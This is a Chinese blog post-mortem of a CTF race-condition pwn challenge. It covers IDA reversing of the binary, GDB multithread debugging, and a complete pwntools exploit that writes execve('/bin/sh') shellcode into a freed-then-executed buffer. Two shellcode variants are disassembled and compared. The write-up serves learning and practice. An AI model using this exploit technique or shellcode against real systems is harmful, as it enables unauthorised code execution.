Introduction
本文不是Writeup,本文是验尸报告
很遗憾,这题做出来了,但是并没有做出来。总之死法很冤。
反正官方WP都放出来了,我自己的博客我就随便记点东西。
意识流记录思路、多线程调试、对垃圾shellcode分析
update:在今天跟群友扯别的事情的时候,发现我disasm()忘记设置arch=’amd64’了,所以看到的shellcode和redflag的汇编都是32位下的。文中的汇编已更正为64位 —2021/09/13
题目描述
题目大概就是一个大量夹带私货的条件竞争PWN。
题目给了三个文件,其中一个ELF程序red_high_heels
,执行程序给出一个菜单,大概就以下情况:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| ./red_high_heels 1. ls 2. cat 3. execve 4. ptrace 5. exit >> 1 -rwxr-xr-x 1 carol asoul 1337 Nov 2 2021 redflag -rwsr-xr-x 1 root heel 1337 Sep 22 2020 👠 -rw------- 1 root heel 1337 Sep 22 2020 flag 1. ls 2. cat 3. execve 4. ptrace 5. exit >> 2 🐱 https: 1. ls 2. cat 3. execve 4. ptrace 5. exit >> 3 Input filename: redflag 1. ls 2. cat 3. execve 4. ptrace 5. exit >> 🚩3 Input filename: 👠 1. ls 2. cat 3. execve 4. ptrace 5. exit >> 👠
|
另外给了两个文件redflag
和👠
,file
去识别这两个文件只能分析出是data,结合IDA看,能看出这两个文件实际上算是两段机器码,实际效果如上面的代码块,就是分别打印一个小红旗或者高跟鞋。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| >>> print(disasm(file1)) 0: 48 b8 f0 9f 9a a9 00 movabs rax, 0xa99a9ff0 7: 00 00 00 a: 50 push rax b: 48 89 e6 mov rsi, rsp e: 48 c7 c7 01 00 00 00 mov rdi, 0x1 15: 48 c7 c2 04 00 00 00 mov rdx, 0x4 1c: 48 c7 c0 01 00 00 00 mov rax, 0x1 23: 0f 05 syscall 25: 58 pop rax 26: c3 ret 27: 0a .byte 0xa
>>> print(disasm(file2)) 0: 48 b8 f0 9f 91 a0 00 movabs rax, 0xa0919ff0 7: 00 00 00 a: 50 push rax b: 48 89 e6 mov rsi, rsp e: 48 c7 c7 01 00 00 00 mov rdi, 0x1 15: 48 c7 c2 04 00 00 00 mov rdx, 0x4 1c: 48 c7 c0 01 00 00 00 mov rax, 0x1 23: 0f 05 syscall 25: 58 pop rax 26: c3 ret 27: 0a .byte 0xa
|
IDA恢复Switch结构
main
函数用到了一个switch
结构,不识别switch case
的话,IDA会看的十分痛苦
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| int __cdecl main(int argc, const char **argv, const char **envp) { unsigned int v3; int result;
init_proc(); do { menu(); v3 = read_int(); } while ( v3 > 5 ); __asm { jmp rax } return result; }
|
具体参考https://www.cjovi.icu/mess/1345.html
Edit->Other->Specify switch idiom
修复后的main
伪代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| int __cdecl main(int argc, const char **argv, const char **envp) { unsigned int v3; unsigned __int64 v4; __int64 v5; int v7; int v8; __int64 v9; char v10[8]; __int64 v11; __int64 v12; __int64 v13; __int64 v14; __int64 v15; __int64 v16; __int64 v17; unsigned __int64 v18;
v18 = __readfsqword(0x28u); init_proc(); do { LABEL_2: menu(); v3 = read_int(); LABEL_3: ; } while ( v3 > 5 ); switch ( v3 ) { case 0u: goto LABEL_2; case 1u: puts("-rwxr-xr-x 1 carol asoul 1337 Nov 2 2021 \x1B[0;31mredflag\x1B[0m"); puts("-rwsr-xr-x 1 root heel 1337 Sep 22 2020 \x1B[31;7m👠\x1B[0m"); puts("-rw------- 1 root heel 1337 Sep 22 2020 flag"); goto LABEL_2; case 2u: puts("🐱 https://www.bilibili.com/video/BV1FX4y1g7u8"); goto LABEL_2; case 3u: if ( (unsigned int)pid_counter > 0x10000 ) error_out("Too many processes"); *(_QWORD *)v10 = 0LL; v11 = 0LL; v12 = 0LL; v13 = 0LL; v14 = 0LL; v15 = 0LL; v16 = 0LL; v17 = 0LL; printf("Input filename: "); readline(v10, 0x3Fu); load_program(v10); goto LABEL_2; case 4u: __isoc99_scanf("%d %d %lu", &v7, &v8, &v9); v4 = v7; if ( v4 < std::vector<pi *>::size(pi_list) ) { v5 = std::vector<pi *>::operator[](pi_list, v7); *(_QWORD *)(v8 + *(_QWORD *)(*(_QWORD *)v5 + 8LL)) = v9; puts("Success"); } goto LABEL_2; case 5u: puts("Have a nice b23.tv/0jJxng"); return 0; default: goto LABEL_3; } }
|
思路
竞争主要出来case 3
和case 4
之间。
首先看case 3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| unsigned __int64 __fastcall load_program(char *a1) { pthread_t newthread; unsigned __int64 v3;
v3 = __readfsqword(0x28u); if ( !strcmp(a1, "redflag") || !strcmp(a1, "👠") ) { pthread_mutex_lock(&mutex); pthread_create(&newthread, 0LL, launch_program, a1); ++pid_counter; pthread_mutex_unlock(&mutex); } else if ( !strcmp(a1, "flag") ) { fwrite("Permission denied\n", 1uLL, 0x12uLL, stderr); } else { fwrite("No such file or directory\n", 1uLL, 0x1AuLL, stderr); } return v3 - __readfsqword(0x28u);
|
调用load_program
,检查输入的filename
是否为redflag
或者👠
,是则上互斥锁,然后创建线程执行launch_program(filename)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| void *__fastcall launch_program(void *a1) { void *result; _BOOL4 v2; int fd; _QWORD *v4; char *file; void *buf; unsigned __int64 v7;
v7 = __readfsqword(0x28u); file = (char *)a1; fd = open((const char *)a1, 0); if ( fd >= 0 ) { buf = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL); read(fd, buf, 0x100uLL); close(fd); v4 = malloc(0x18uLL); std::vector<pi *>::push_back((__int64)pi_list, (__int64)&v4); v4[1] = buf; v2 = strcmp(file, "redflag") != 0; *(_DWORD *)v4 = v2; *((_DWORD *)v4 + 4) = pid_counter; if ( !strcmp(file, "👠") ) clean_resource(); ((void (*)(void))buf)(); if ( strcmp(file, "👠") ) munmap(buf, 0x1000uLL); result = 0LL; } else { perror("open"); result = 0LL; } return result; }
|
launch_program
里根据文件名称的不同,会执行两套不同的逻辑
- 输入
redflag
:mmap
分配一大块内存buf
,读取redflag
的文件内容进buf
,调用push_back
将buf
地址存入pi_list
队尾,将buf
的内容作为shellcode
执行,最后调用munmap
释放buf
- 输入
👠
:mmap
分配一大块内存buf
,读取redflag
的文件内容进buf
,调用push_back
将buf
地址存入pi_list
队尾,清空pi_list
,并将pi_list
中记录的每个malloc
申请的块逐一free
,将buf
的内容作为指令执行
如果我们能改写buf
内容为特定的shellcode
,就能实现攻击
这里就结合case 4
的逻辑
1 2 3 4 5 6 7 8 9 10
| case 4u: __isoc99_scanf("%d %d %lu", &index, &offset, &data); v4 = index; if ( v4 < std::vector<pi *>::size(pi_list) ) { v5 = std::vector<pi *>::operator[](pi_list, index); *(_QWORD *)(offset + *(_QWORD *)(*(_QWORD *)v5 + 8LL)) = data; puts("Success"); } goto LABEL_2;
|
大致就是给一个索引,从pi_list
中获取对应的chunk的地址,然后给一个偏移,计算出一个地址,在这个地址中写入8字节的数据
然后通过调试能注意到,pi_list[index]
中保存的实际就是mmap
分配得到的buf
的地址,而且因为文件名为redflag
时,每次执行完指令,都会munmap
,所以pi_list
中每个条目保存的地址都是相同的。
但是正因为调用了munmap
,使得case 4
不能对已释放的内存进行写入
这里就用到👠
的逻辑,只要pi_list
足够长,那么线程就要花费大量的时间去free
每一个chunk,那么在执行指令之前就有足够的时间去改写buf
内容为我们的shellcode
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| from pwn import *
p = process('./red_high_heels') def execve(filename): p.sendlineafter('5. exit','3') p.sendlineafter('filename:',filename)
def ptrace(index,offset,content): p.sendline('4') payload = '%d %d %lu' %(index,offset,content) p.sendline(payload)
file1 = 'redflag' file2 = '👠'
for i in range(0x1000): execve(file1)
execve(file2)
ptrace(0x7f7,0,u64('\x50\x48\x31\xd2\x48\xbb\x2f\x62')) ptrace(0x7f7,8,u64('\x69\x6e\x2f\x2f\x73\x68\x53\x54')) ptrace(0x7f7,16,u64('\x5f\xb0\x3b\x0f\x05\x00\x00\x00'))
p.interactive()
|
从exploit-db上扒了一个21字节的shellcode,用case 4
分三次写入shellcode,
然后就crash了
赛后看了官方writeup,除了shellcode用的不同,其他基本一致
GDB多线程调试
以下内容都是赛后做的,如果我比赛的时候能调试一下shellcode的执行状态,基本就能想到换一个shellcode
本题涉及线程创建,所以GDB得多线程调试。另外又涉及线程之间的时序关系,所以需要gdb中开关scheduler-locking
来调节主线程和子线程的执行
为了方便调试的重开,在执行完0x1000次execve(file1)
后开GDB,并暂停脚本
下两个断点clean_resource()
和pthread_create
开scheduler-locking set scheduler-locking on
,不开的话,还没等GDB里面切换线程,子线程就把pi_list
全清空了
恢复脚本的执行,程序断在创建子线程前,nextret
停到创建出新的线程
info thread
查看线程信息(此处可省略,因为新创建的线程肯定是2)
thread 2
切换到子线程
set scheduler-locking off
关锁,随便单步执行一下恢复主线程的执行,也就是让主线程执行case 4
改写buf
内容
可以通过pi_list
中保存的内容找到buf
地址然后看一下
可以看到shellcode写进去了
接下来
del 1
,删掉clean_resource()
上的断点,然后在launch_program
的((void (*)(void))buf)();
代码上下断点。因为程序开了PIE,用当前clean_resource()
的指令地址推一下偏移就行。
如上图,就在0x55555555697c
出下断点,continue
运行到call rax
处
si
跟进,就到了shellcode
的执行阶段
Shellcode
继续si
执行到syscall
时,能看到RAX
并不是预期的0x3b
,这也能从上一行的mov al,0x3b
看出,这个shellcode并没有考虑RAX清零,也就是说这段shellcode能用的前提是执行前RAX要是0
后来我尝试了把mov al,0x3b
改成mov rax,0x3b
,RAX寄存器的值是正确的0x3b了,那么syscall
就正确的解析成了execve
,但是依旧crash。
原因如上图,execve
要求三个参数int execve(const char * filename, char * const argv[], char * const envp[]);
。
RSI寄存器传递了execve
的第二个参数argv
,类型是char **,所以这里的0xfe2
不是合法的地址,于是程序crash。我gdb里手动改成0,这段shellcode就能正常执行了。(所以有空得看一下源码,argv=0大概就是直接代表了argv为空)
下面就给出两个shellcode,留给读者自己品
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| >>> print(disasm(shellcode1)) 0: 50 push rax 1: 48 31 d2 xor rdx, rdx 4: 48 bb 2f 62 69 6e 2f movabs rbx, 0x68732f2f6e69622f b: 2f 73 68 e: 53 push rbx f: 54 push rsp 10: 5f pop rdi 11: b0 3b mov al, 0x3b 13: 0f 05 syscall ... >>> print(disasm(shellcode2)) 0: 48 b8 2f 62 69 6e 2f movabs rax, 0x68732f6e69622f 7: 73 68 00 a: 50 push rax b: 48 89 e7 mov rdi, rsp e: 48 31 f6 xor rsi, rsi 11: 48 31 d2 xor rdx, rdx 14: 48 c7 c0 3b 00 00 00 mov rax, 0x3b 1b: 0f 05 syscall
|
shellcode1
就是我用的shellcode,shellcode2
就是官方Writeup中用的shellcode。
小结
没有小结,这是篇验尸报告,结果就是谨慎选择shellcode
参考链接
- https://www.cjovi.icu/mess/1345.html
- https://cloud.tencent.com/developer/article/1142947